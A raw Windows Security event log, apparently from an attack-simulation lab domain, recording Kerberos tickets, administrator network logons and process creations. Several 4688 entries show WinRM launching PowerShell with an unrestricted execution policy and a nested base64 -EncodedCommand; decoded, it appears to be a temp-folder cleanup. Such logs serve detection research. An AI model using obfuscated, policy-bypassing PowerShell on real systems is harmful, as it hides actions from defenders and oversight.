AQQAxAEEARABVAEEATwBRAEEAegBBAEQAYwBBAE4AUQBBADMAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251187 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABNAEEATABnAEEANQBBAEQAYwBBAE0AQQBBADQAQQBEAGMAQQBNAGcAQQB5AEEAQwAwAEEATgBBAEEANQBBAEQAZwBBAE4AdwBBAHoAQQBEAGsAQQBNAEEAQQAxAEEARABVAEEATwBRAEEAegBBAEQAYwBBAE4AUQBBADMAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251186 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B409 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251185 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B409 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251184 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251183 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251182 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251181 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B3ED - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251180 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B3ED - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251179 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12B3ED - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251178 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251177 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251176 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251175 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12AF2F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251294 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251293 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251292 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251291 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251290 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251289 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251288 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251287 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EE71 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251286 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251285 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - 